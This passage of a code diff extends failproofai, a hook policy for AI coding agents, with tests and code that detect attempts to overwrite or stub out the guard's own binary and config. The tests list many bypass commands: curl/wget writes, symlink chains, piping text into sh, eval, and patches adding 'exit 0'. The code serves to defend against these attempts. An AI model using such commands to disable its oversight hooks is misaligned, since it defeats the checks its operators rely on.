command: v4a("*** Delete File: node_modules/.bin/failproofai") }], + ["where it moves a file to", { command: v4a("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0") }], + ["an absolute path", { command: v4a("*** Add File: /work/proj/node_modules/.bin/failproofai", "+exit 0") }], + ["a parent directory's entry", { command: v4a("*** Add File: ../node_modules/.bin/failproofai", "+exit 0") }], + ["a loosely spaced header", { command: v4a(" *** Add File: node_modules/.bin/failproofai ", "+exit 0") }], + ["the state", { command: v4a("*** Update File: /home/u/.failproofai/policies-config.json", "@@", "+{}") }], + ["the entry, as OpenCode's patchText", { patchText: v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0") }], + ["the entry, in an argv", { command: ["apply_patch", v4a("*** Add File: node_modules/.bin/failproofai", "+exit 0")] }], + ["the entry, as a unified diff", { command: "--- a/node_modules/.bin/failproofai\n+++ b/node_modules/.bin/failproofai\n@@ -1 +1 @@\n-exec\n+exit 0\n" }], + ["the entry, from the directory the call names", { command: v4a("*** Add File: failproofai", "+exit 0"), workdir: "/work/proj/node_modules/.bin" }], + ])("denies a patch naming %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("deny"); + }); + + it("denies a patch naming the entry from a session standing in .bin", async () => { + expect(await patch({ command: v4a("*** Add File: failproofai", "+exit 0") }, "/work/proj/node_modules/.bin")).toBe("deny"); + }); + + it.each([ + ["a patch to project files", { command: v4a("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: src/new.ts", "+x") }], + ["a patch adding another package's entry", { command: v4a("*** Add File: node_modules/.bin/my-tool", "+exit 0") }], + ["a unified diff of project files", { command: "--- a/src/app.ts\n+++ b/src/app.ts\n@@ -1 +1 @@\n-a\n+b\n" }], + // What the tool writes is not a patch it applies, whatever it says. + ["an Edit whose new text quotes a header", { file_path: "docs/patching.md", old_string: "a", new_string: "*** Add File: node_modules/.bin/failproofai" }], + ])("allows %s", async (_label, toolInput) => { + expect(await patch(toolInput)).toBe("allow"); + }); + + it("allows a Write whose content quotes a header", async () => { + const result = await policy.fn( + makeCtx({ + toolName: "Write", + toolInput: { file_path: "docs/patching.md", content: "*** Update File: node_modules/.bin/failproofai\n" }, + session: { cwd: "/work/proj" }, + }), + ); + expect(result.decision).toBe("allow"); + }); + }); + describe("through links", () => { let root: string; @@ -118,6 +181,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // A link into a directory below `.bin`, and one to `node_modules`. symlinkSync(join(root, "proj", "node_modules", ".bin", "sub"), join(root, "proj", "tools", "deep")); symlinkSync(join(root, "proj", "node_modules"), join(root, "proj", "nm")); + mkdirSync(join(root, "proj", "out")); }); afterAll(() => { @@ -175,6 +239,72 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); }, ); + + it("denies a patch through a link to the entry or the .bin directory", async () => { + for (const file of ["tools/hook", "tools/bins/failproofai", "tools/deep/../failproofai"]) { + expect(await patch({ command: v4a(`*** Update File: ${file}`, "@@", "+exit 0") }, join(root, "proj"))).toBe("deny"); + } + }); + + // An output file glued to its option, through a link on disk (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "curl -sohook https://example.com/x", + "curl -so./hook https://example.com/x", + "curl -sobins/failproofai https://example.com/x", + "wget -qOhook https://example.com/x", + "gcc -ohook main.c", + ])("denies an output file glued to its option through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj", "tools"), command)).toBe("deny"); + }); + + it("allows a glued output file that is no link", async () => { + expect(await bashIn(join(root, "proj", "tools"), "curl -sohook.txt https://example.com/x")).not.toBe("deny"); + }); + + // Links this line makes, resolved as the kernel resolves them: each `..` + // after the link it follows, any number of them up to the kernel's 40, + // and every form of `ln` that puts one inside a directory (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + ["a `..` after a link made on the line", "ln -s node_modules/.bin/sub inline-deep; printf x > inline-deep/../failproofai"], + ["the same, after &&", "ln -s node_modules/.bin/sub inline-deep && cp /tmp/stub.sh inline-deep/../failproofai"], + [ + "a chain of ten links", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 9 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l10/failproofai", + ], + [ + "a chain longer than the kernel follows", + ["ln -s node_modules/.bin l1", ...Array.from({ length: 44 }, (_, i) => `ln -s l${i + 1} l${i + 2}`)].join("; ") + + "; printf x > l45/failproofai", + ], + ["two links pointing at each other", "ln -s a b; ln -s b a; printf x > a/x"], + ["a link put into the current directory", "ln -s node_modules/.bin/failproofai .; printf x > failproofai"], + ["a link put into a directory with a slash", "ln -s node_modules/.bin/failproofai out/; printf x > out/failproofai"], + ["a link put into an existing directory", `ln -s ROOT/node_modules/.bin/failproofai out; printf x > out/failproofai`], + ["a link put into -t's directory", `ln -st out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["a link put into --target-directory's", `ln --symbolic --target-directory=out ROOT/node_modules/.bin/failproofai; printf x > out/failproofai`], + ["ln -s with one operand", "ln -s node_modules/.bin/failproofai; printf x > failproofai"], + ["a directory the line makes first", `mkdir newdir; ln -s ROOT/node_modules/.bin/failproofai newdir; printf x > newdir/failproofai`], + ["ln -r, which reads the target from here", "ln -sr node_modules/.bin/failproofai out/x; printf x > out/x"], + ["a target the walk cannot read, naming .bin", 'ln -s "$(npm root)/.bin" b; printf x > b/failproofai'], + ["a target the walk cannot read at all", 'ln -s "$D" b; printf x > b/failproofai'], + ["a substitution's directory, filled with what is in another", 'ln -s "$(npm root)/.bin" d; cp -r /tmp/stage/. d/'], + ])("denies a write through %s", async (_label, command) => { + expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); + }); + + it.each([ + "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", + "ln -s /tmp/x y; echo hi > y", + 'ln -s "$TARGET" current; echo hi > current/log.txt', + "ln -sf build/app current; ./current --version", + // A variable the line never sets is read as an unknown `cd` is. + 'ln -sfn "$RELEASE_DIR" current && cp -r shared/config current/', + ])("still allows a write through a link made on the line: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); }); // The entry, and nothing else that lives beside it or shares its name. @@ -492,6 +622,69 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(cwd, command)).not.toBe("deny"); }); + // A value glued to its option is a path, read from where the shell stands + // like any other (found by hermes on FailproofAI/failproofai#1058). Where a + // command's value-taking letters are known the cluster is read as getopt + // reads it; elsewhere every split of it is tried. + it.each([ + ["/work/proj/node_modules/.bin", "curl -sofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "curl --output=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -Ofailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget -qOfailproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "wget --output-document=failproofai https://example.com/x"], + ["/work/proj/node_modules/.bin", "sort -ofailproofai notes.txt"], + ["/work/proj/node_modules/.bin", "gcc -ofailproofai main.c"], + ["/work/proj/node_modules/.bin", "tar -cffailproofai src"], + ["/work/proj/node_modules/.bin", "curl -" + "s".repeat(40) + "ofailproofai https://example.com/x"], + // A cluster longer than anyone writes is not tried at every split. + ["/work/proj/node_modules/.bin", "foo -" + "a".repeat(40) + "ofailproofai"], + ["/work/proj", "cd node_modules/.bin && curl -sofailproofai https://example.com/x"], + ["/work/proj", "D=failproofai; cd node_modules/.bin && curl -so$D https://example.com/x"], + ])("denies an output file glued to its option from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], + ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], + ["/work/proj", "gcc -O2 -Wall -o build/app main.c"], + ["/work/proj", "tar -czf backup.tgz src"], + ["/work/proj", "curl -sSfL -o /tmp/x https://example.com/x"], + ["/work/proj", "git log --format=%h -n 5"], + ])("allows option values from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // `echo` and `printf` print quoted text and run none of it, so documenting + // a command is not running it (found by hermes on + // FailproofAI/failproofai#1058). Text a shell does run is still read as + // one, and so is a real redirect. + it.each([ + "echo 'cat > node_modules/.bin/failproofai'", + "printf '%s\\n' '> node_modules/.bin/failproofai'", + 'echo "cat > node_modules/.bin/failproofai"', + "echo 'cat > ~/.failproofai/policies-config.json'", + "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + ])("allows printing a command as text: %s", async (command) => { + expect(await bash(command)).toBe("allow"); + }); + + it.each([ + "bash -c 'printf x > node_modules/.bin/failproofai'", + "echo 'printf x > node_modules/.bin/failproofai' | sh", + "echo 'printf x > node_modules/.bin/failproofai' |& sh", + "echo 'printf x > node_modules/.bin/failproofai' > /tmp/s.sh && sh /tmp/s.sh", + "printf -v c 'printf x > node_modules/.bin/failproofai'; eval \"$c\"", + "(echo 'printf x > node_modules/.bin/failproofai') | sh", + "{ echo 'printf x > node_modules/.bin/failproofai'; } | sh", + "xargs -I{} sh -c {} <<'EOF'\necho 'printf x > node_modules/.bin/failproofai'\nEOF", + "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", + "echo 'exit 0' > node_modules/.bin/failproofai", + 'echo x >node_modules/.bin/fail"proof"ai', + ])("denies quoted text something runs, or a real redirect: %s", async (command) => { + expect(await bash(command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -628,6 +821,27 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs await bash(command); expect(performance.now() - started).toBeLessThan(3000); }); + + // From a directory on disk, where a glued value may be a link: one per + // letter of a long line's option words was a second of path walks. + it.each([ + ["128 KB of distinct option clusters, each with a value glued on", "foo " + optionClusters(3_700)], + ["curl with 128 KB of glued output files", "curl " + optionClusters(3_700).replaceAll(" -", " -so")], + ["a chain of 2,000 links made on the line", Array.from({ length: 2000 }, (_, i) => `ln -s l${i} l${i + 1}`).join("; ") + "; printf x > l2000/x"], + ["1,000 links put into a directory, each written through", Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} out/; printf x > out/t${i}`).join("; ")], + ["128 KB of echo with quoted redirects", Array.from({ length: 6_000 }, (_, i) => `echo 'a > b${i}'`).join("; ")], + ])("judges %s from a directory on disk in bounded time", async (_label, command) => { + const started = performance.now(); + await bashIn(tmpdir(), command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + it("judges a patch naming 7,000 files in bounded time", async () => { + const files = Array.from({ length: 7_000 }, (_, i) => `*** Add File: src/f${i}.ts\n+x`); + const started = performance.now(); + expect(await patch({ command: v4a(...files) }, tmpdir())).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }); }); // The guard protects the entry by NAME, so it has to be the name every diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 2337e3dba..1ed96ae87 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2,7 +2,7 @@ * Built-in security policies for Claude Code hooks. */ import { resolve, join } from "node:path"; -import { lstatSync, readlinkSync, statSync } from "node:fs"; +import { lstatSync, readdirSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -1855,7 +1855,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st for (let i = 0; i < args.length; i++) { const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); - if (long && namesState(arg)) return true; + if (long && (namesState(arg) || namesState(arg.slice(long.length + 1)))) return true; const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; // Or the value glued on, after the option alone or at the end of a @@ -1875,6 +1875,41 @@ const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; /** curl's short options that take a value (`curl --help all`, curl 8). */ const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; +/** Short options that take a value, for the commands whose list is known. */ +const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, wget: WGET_VALUE_OPTIONS }; + +/** More letters than a short-option cluster has when written to be read. */ +const MAX_OPTION_CLUSTER = 32; + +/** + * The values an option word may carry glued on, each a path the command may + * write: `--output=`, and the rest of a short-option cluster, + * `curl -so`. Where a command's value-taking letters are known the + * cluster is read as getopt reads it, flags up to the first letter that takes + * a value; elsewhere any letter may take one (`gcc -o`, `tar -cf`), + * so the rest of the word after each letter is a candidate. `null` for a + * cluster longer than `MAX_OPTION_CLUSTER`, which is read as reaching the + * state rather than tried at every split. + */ +function gluedOptionValues(head: string, word: string): string[] | null { + if (word.startsWith("--")) { + const eq = word.indexOf("="); + return eq > 2 && eq < word.length - 1 ? [word.slice(eq + 1)] : []; + } + if (!/^-[A-Za-z]/.test(word)) return []; + const known = SHORT_VALUE_OPTIONS[head]; + const values: string[] = []; + for (let c = 1; c < word.length - 1 && /[A-Za-z]/.test(word[c]); c++) { + if (known !== undefined) { + if (known.includes(word[c])) return [word.slice(c + 1)]; + continue; + } + if (c > MAX_OPTION_CLUSTER) return null; + values.push(word.slice(c + 1)); + } + return values; +} + /** * The files a download names after its URL rather than on the line, as * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's @@ -2112,23 +2147,83 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Where else the shell may stand: not where it certainly is. const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); // Symlinks this line makes (`ln -s `), which no `lstat` sees - // yet, followed the way the kernel does: the first component that is one is - // replaced by where it points, and the result is walked again. + // yet: keyed by where the link really is, holding its target as written. const links = new Map(); - const followLinks = (path: string): string => { - let linked = path; - for (let hops = 0; hops < 8 && links.size > 0; hops++) { - let next: string | undefined; - for (let i = linked.indexOf("/", 1); next === undefined; i = linked.indexOf("/", i + 1)) { - const prefix = i === -1 ? linked : linked.slice(0, i); - const target = links.get(prefix); - if (target !== undefined) next = target + linked.slice(prefix.length); - if (i === -1) break; + // Where an absolute path really is, as the kernel resolves it: one component + // at a time from the root, each link (this line's or one on disk) replaced + // by its target where it is met, and each `..` taken from the directory + // reached so far. So `inline/../failproofai` through a link to + // `node_modules/.bin/sub` is `.bin/failproofai`, which collapsing `..` as + // text first read as `./failproofai` (found by hermes on + // FailproofAI/failproofai#1058). Past 40 links (the kernel's MAXSYMLINKS) + // the write fails, but where it was headed is unknown, so that is `ELOOP` + // and read as landing on the state. Through a link whose target is a + // substitution or a variable the walk cannot read, `{ via, lost }` is that + // target as written and what remains of the path after it. + const ELOOP = Symbol("ELOOP"); + type Lost = { via: string; lost: string }; + type RealPath = string | typeof ELOOP | Lost; + type Walk = { reached: string; hops: number } | typeof ELOOP | Lost; + // The kernel's walk from `reached` ("" is the root) with `hops` links + // already followed, over the components still `pending`. + const walkFrom = (reached: string, hops: number, pending: string[]): Walk => { + while (pending.length > 0) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + reached = reached.slice(0, reached.lastIndexOf("/")); + continue; } - if (next === undefined) break; - linked = shellPath(undefined, next); + const next = `${reached}/${part}`; + let target = links.get(next); + const made = target !== undefined; + if (!made) { + try { + if (lstatSync(next).isSymbolicLink()) target = readlinkSync(next); + } catch { + // Missing or unreadable: a plain name once created, so walk on. + } + } + if (target === undefined) { + reached = next; + continue; + } + if (made && /[$`]/.test(target)) return { via: target, lost: pending.filter((p) => p !== "").join("/") }; + if (++hops > 40) return ELOOP; + if (target.startsWith("/")) reached = ""; + pending.unshift(...target.split("/")); + } + return { reached, hops }; + }; + // Each directory is walked once: every word read from the same place shares + // it, and the option values glued into a long command line are many words. + const directoryWalks = new Map(); + const realPaths = new Map(); + const realPath = (raw: string): RealPath => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (raw.length > PATH_MAX_BYTES) return shellPath(undefined, raw); + let real = realPaths.get(raw); + if (real !== undefined) return real; + const cut = raw.lastIndexOf("/"); + const name = raw.slice(cut + 1); + let walked: Walk; + if (cut > 0 && name !== "" && name !== "." && name !== "..") { + const directory = raw.slice(0, cut); + let parent = directoryWalks.get(directory); + if (parent === undefined) directoryWalks.set(directory, (parent = walkFrom("", 0, directory.split("/")))); + walked = + parent === ELOOP + ? ELOOP + : "reached" in parent + ? walkFrom(parent.reached, parent.hops, [name]) + : { via: parent.via, lost: parent.lost === "" ? name : `${parent.lost}/${name}` }; + } else { + walked = walkFrom("", 0, raw.split("/")); } - return linked; + real = walked === ELOOP || !("reached" in walked) ? walked : walked.reached || "/"; + realPaths.set(raw, real); + return real; }; // A relative word read from `base`, and `//`, `.` and `..` resolved in any. @@ -2183,9 +2278,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const resolvesOntoState = (text: string): boolean => resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); // A written path as the absolute path it spells from `base`: `raw` as the - // kernel walks it, each `..` taken after any link before it; `plain` as - // text; `linked` with the symlinks this line made applied. - const absoluteFrom = (base: Where, written: string): { raw: string; plain: string; linked: string } | undefined => { + // kernel walks it, each `..` taken after any link before it, and `plain` as + // text. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string } | undefined => { if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { return undefined; } @@ -2197,41 +2292,79 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) ? `${base.full}/${written}` : undefined; if (raw === undefined) return undefined; - const plain = shellPath(undefined, raw); - return { raw, plain, linked: followLinks(plain) }; - }; - const realPaths = new Map(); - const realPath = (path: string): string => { - // Longer than PATH_MAX, no write can open it, and walking it on disk one - // component at a time cost a second for a 128 KB word of `a/a/a/…`. - if (path.length > PATH_MAX_BYTES) return shellPath(undefined, path); - let real = realPaths.get(path); - if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); - return real; + return { raw, plain: shellPath(undefined, raw) }; }; - // Where a written path really is, from each place the shell may stand: on - // disk as the kernel resolves it, and with this line's own links applied. - const realPathsOf = (written: string): Array<{ plain: string; real: string }> => { - const out: Array<{ plain: string; real: string }> = []; + // Where a written path really is, from each place the shell may stand: as + // the kernel resolves it, through links on disk and those this line makes. + const realPathsOf = (written: string): Array<{ plain: string; real: RealPath }> => { + const out: Array<{ plain: string; real: RealPath }> = []; for (const base of [at, ...alts]) { const path = absoluteFrom(base, written); - if (path === undefined) continue; - out.push({ plain: path.plain, real: realPath(path.raw) }); - if (path.linked !== path.plain) out.push({ plain: path.plain, real: realPath(path.linked) }); + if (path !== undefined) out.push({ plain: path.plain, real: realPath(path.raw) }); } return out; }; + // Through a link whose target the walk cannot read, the target as written + // and what remains after it, and that remainder alone the way a word is read + // once the walk has lost the shell's directory: as if from an installed + // location. `ln -s "$(npm root)/.bin" b; printf x > b/failproofai`. + const lostNamesState = ({ via, lost }: { via: string; lost: string }): boolean => + namesState(lost === "" ? via : `${via}/${lost}`) || + (lost !== "" && AS_IF_INSTALLED.some((dir) => namesState(dir + lost))) || + couldBeEntryName(lost.slice(lost.lastIndexOf("/") + 1)); // Whether a written directory really is npm's bin directory, through links. + // Through one the walk cannot read, it is when the target ends in `.bin`, or + // is a substitution (`$(npm root)/.bin` arrives cut short as `$(npm`); a + // variable the line never sets is read as an unknown `cd` is, which is not + // taken for npm's bin (`ln -sfn "$RELEASE" current && cp -r config current/`). const isBinDir = (written: string): boolean => - realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => NPM_BIN_DIRECTORY_RE.test(real)); + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => { + if (real === ELOOP) return true; + if (typeof real === "string") return NPM_BIN_DIRECTORY_RE.test(real); + const reached = real.lost === "" ? real.via : `${real.via}/${real.lost}`; + return /(?:^|[\\/])\.bin[\\/]*$/i.test(reached) || (real.lost === "" && /\$\(|`/.test(real.via)); + }); // Whether a path really lands on what `namesState` protects once symlinks // are followed — those on disk, as the file tools already follow them, and // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. const landsOnState = (written: string): boolean => - realPathsOf(written).some(({ plain, real }) => real !== plain && namesState(real)); + realPathsOf(written).some(({ plain, real }) => + real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), + ); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // `namesHere` for a value glued to an option, of which a long command line + // has one per letter of its option words. Every protected name spells + // `failproof`, so a value that spells none, climbs nowhere and expands to + // nothing can only reach one through a link: one this line made, or one on + // disk under a first component that exists, which each directory's listing, + // read once, answers. + const listings = new Map | null>(); + const existsIn = (directory: string, name: string): boolean => { + let names = listings.get(directory); + if (names === undefined) { + try { + names = new Set(readdirSync(directory)); + } catch { + names = null; + } + listings.set(directory, names); + } + return names === null ? lstatSync(`${directory}/${name}`, { throwIfNoEntry: false }) !== undefined : names.has(name); + }; + const gluedValueNamesHere = (value: string): boolean => { + if (/failproof|\.\.|[$~]|[*?[{]|[@+!]\(/i.test(value) || links.size > 0 || value.startsWith("/")) { + return namesHere(value); + } + const relative = value.replace(/^(?:\.\/+)+/, ""); + const first = relative.slice(0, (relative.indexOf("/") + 1 || relative.length + 1) - 1); + return ( + first !== "" && + [at, ...alts].some((base) => !base.lost && base.full?.startsWith("/") === true && existsIn(base.full, first)) && + landsOnState(value) + ); + }; // What the line has assigned by the point the walk reaches, so a word built // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s // /tmp/stage $B`. In a loop a later assignment can come first, so there the @@ -2373,25 +2506,126 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) startFull.startsWith("/") && to.full === startFull, ); }; - // `ln -s `: where the link points, so a later write through - // it on the same line lands where it would. + // `ln -s … `, in every form GNU ln takes: `-t DIR` + // in any spelling, a last operand that is a directory (`.`, `dir/`, one on + // disk, or a link to one unless `-n`), several targets into one directory, + // and `-r`, which reads each target from where the shell stands rather than + // from the link. `ln -s node_modules/.bin/failproofai .` made `./failproofai` + // a link to the entry while the walk recorded the directory itself. Each link + // is keyed by where it really is, its parent resolved through every link + // before it, so a later write through it on the same line lands where it would. + const LN_OPTIONS = INTO_DIRECTORY_OPTIONS.get("ln")!; + const baseNameOf = (word: string): string => { + const trimmed = word.replace(/[\\/]+$/, ""); + return trimmed.slice(trimmed.lastIndexOf("/") + 1); + }; + // Where a link written as `word` from `base` goes: its parent resolved, its + // own name not followed, as `symlink()` creates it. + const linkPlace = (base: Where, word: string): string | undefined => { + const path = absoluteFrom(base, word.replace(/[\\/]+$/, "") || word); + if (path === undefined) return undefined; + const cut = path.raw.replace(/\/+$/, "").lastIndexOf("/"); + const parent = realPath(path.raw.slice(0, cut) || "/"); + const name = path.raw.replace(/\/+$/, "").slice(cut + 1); + if (typeof parent !== "string" || name === "" || name === "." || name === "..") return undefined; + return `${parent === "/" ? "" : parent}/${name}`; + }; + // Whether `word` is a directory for `ln` to put links into: on disk, or a + // link this line made to one, followed unless `-n`. `undefined` when it does + // not exist yet, which a `mkdir` earlier on the line may change. + const linksInto = (base: Where, word: string, noDereference: boolean): boolean | undefined => { + if (/[\\/]$/.test(word) || word === "." || word === ".." || /[\\/]\.\.?$/.test(word)) return true; + const place = linkPlace(base, word); + if (place === undefined) return false; + if (links.has(place)) { + if (noDereference) return false; + const real = realPath(place); + if (typeof real !== "string") return true; + try { + return statSync(real).isDirectory(); + } catch { + return undefined; + } + } + try { + return (noDereference ? lstatSync(place) : statSync(place)).isDirectory(); + } catch { + return undefined; + } + }; const recordLink = (args: string[]): void => { - if (!args.some((a) => /^-[A-Za-z]*s/.test(a) || a === "--symbolic")) return; - if (args.some((a) => /^-[A-Za-z]*t/.test(a) || a.startsWith("--target"))) return; - const operands = args.filter((a) => !a.startsWith("-")); - if (operands.length !== 2) return; - const [target, linkWord] = operands; + let symbolic = false; + let fromShell = false; + let noDereference = false; + let ontoItself = false; + let directory: string | undefined; + const operands: string[] = []; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const option = longOptionOf(LN_OPTIONS, arg.slice(2, eq === -1 ? undefined : eq)); + if (option?.full === "target-directory") directory = eq === -1 ? args[++i] : arg.slice(eq + 1); + else if (option?.value) i += eq === -1 ? 1 : 0; + else if (option?.full === "symbolic") symbolic = true; + else if (option?.full === "relative") fromShell = true; + else if (option?.full === "no-dereference") noDereference = true; + else if (option?.full === "no-target-directory") ontoItself = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (LN_OPTIONS.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t") directory = value; + break; + } + if (flag === "s") symbolic = true; + else if (flag === "r") fromShell = true; + else if (flag === "n") noDereference = true; + else if (flag === "T") ontoItself = true; + } + continue; + } + operands.push(arg); + } + if (!symbolic || operands.length === 0) return; for (const base of [at, ...alts]) { - const link = absoluteFrom(base, linkWord.replace(/[\\/]+$/, "")); - if (link === undefined) continue; - const linkPath = /[\\/]$/.test(linkWord) ? `${link.plain}/${target.slice(target.lastIndexOf("/") + 1)}` : link.plain; - const resolved = target.startsWith("/") - ? shellPath(undefined, target) - : target === "~" || target.startsWith("~/") - ? shellPath(undefined, homedir() + target.slice(1)) - : shellPath(linkPath.slice(0, linkPath.lastIndexOf("/")) || "/", target); - links.set(linkPath, resolved); + const placed: Array<[string | undefined, string]> = []; + if (directory !== undefined) { + for (const target of operands) placed.push([linkPlace(base, `${directory}/${baseNameOf(target)}`), target]); + } else if (operands.length === 1) { + placed.push([linkPlace(base, baseNameOf(operands[0])), operands[0]]); + } else { + const last = operands[operands.length - 1]; + const targets = operands.slice(0, -1); + const into = targets.length > 1 ? true : ontoItself ? false : linksInto(base, last, noDereference); + // Into the directory, or the operand itself; both when it does not + // exist yet, since the line may have made it. + if (into !== false) for (const target of targets) placed.push([linkPlace(base, `${last.replace(/[\\/]+$/, "")}/${baseNameOf(target)}`), target]); + if (into !== true) placed.push([linkPlace(base, last), targets[0]]); + } + for (const [place, written] of placed) { + if (place === undefined || written === undefined) continue; + let target = written === "~" || written.startsWith("~/") ? homedir() + written.slice(1) : written; + // `-r` reads the target from where the shell stands. + if (fromShell && relativeWord(target) && !/[$`]/.test(target)) { + const fromHere = absoluteFrom(base, target); + if (fromHere === undefined) continue; + target = fromHere.raw; + } + links.set(place, target); + } } + // Every path resolved so far may now run through one of these. + realPaths.clear(); + directoryWalks.clear(); }; // A loop header hands its word list to the body, and the body is a separate @@ -2479,6 +2713,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) (word, k) => k > 0 && (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + ) || + // A value glued to its option is a path too, read from where the + // shell stands and through links: `cd node_modules/.bin && curl + // -sofailproofai `, and `curl -sohook ` with `hook` a link + // to the entry (found by hermes on FailproofAI/failproofai#1058). + lists.some((list) => + list.some((word, k) => { + if (k === 0 || !word.startsWith("-")) return false; + const values = gluedOptionValues(head, word); + return values === null || values.some(gluedValueNamesHere); + }), )) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { @@ -3644,6 +3889,121 @@ function blockWorkOnMain(ctx: PolicyContext): PolicyResult { return allow(); } +/** + * A patch's file headers: every file it adds, updates or deletes, and where + * `*** Move to:` renames one, in the format Codex's `apply_patch` takes + * (lenient about spacing, as its parser is); and the `---` / `+++` paths of a + * unified diff. + */ +const PATCH_FILE_RE = /^[ \t]*\*\*\*[ \t]*(?:(?:Add|Update|Delete)[ \t]+File|Move[ \t]+to)[ \t]*:[ \t]*(.*?)[ \t]*\r?$/gim; +const UNIFIED_DIFF_FILE_RE = /^(?:---|\+\+\+)[ \t]+(.*?)(?:\t.*)?\r?$/gm; + +/** Input keys that hold what a file tool writes, never a patch to apply. */ +const FILE_CONTENT_KEYS = new Set(["content", "old_string", "new_string", "new_source", "file_text", "old_str", "new_str"]); + +/** + * The files an edit tool's patch writes, when the tool carries a patch instead + * of a path. Codex's `apply_patch` (canonical `Edit`) delivers its patch as + * `tool_input.command`, with no `file_path` at all, so the path check below + * had nothing to read and a native patch could plant `node_modules/.bin/failproofai` + * (found by hermes on FailproofAI/failproofai#1058). OpenCode's sends `patchText`. + * Read from every input that is not a file's content, as text or a list of it. + */ +function patchTargets(input: Record | undefined): string[] { + const targets = new Set(); + for (const [key, value] of Object.entries(input ?? {})) { + if (FILE_CONTENT_KEYS.has(key)) continue; + const texts = typeof value === "string" ? [value] : Array.isArray(value) ? value.filter((v): v is string => typeof v === "string") : []; + for (const text of texts) { + for (const [, path] of text.matchAll(PATCH_FILE_RE)) if (path) targets.add(path); + for (const [, written] of text.matchAll(UNIFIED_DIFF_FILE_RE)) { + const path = written.replace(/^"(.*)"$/, "$1"); + if (!path || path === "/dev/null") continue; + targets.add(path); + // `a/` and `b/` are git's prefixes, not directories, unless they are. + if (/^[ab]\//.test(path)) targets.add(path.slice(2)); + } + } + } + return 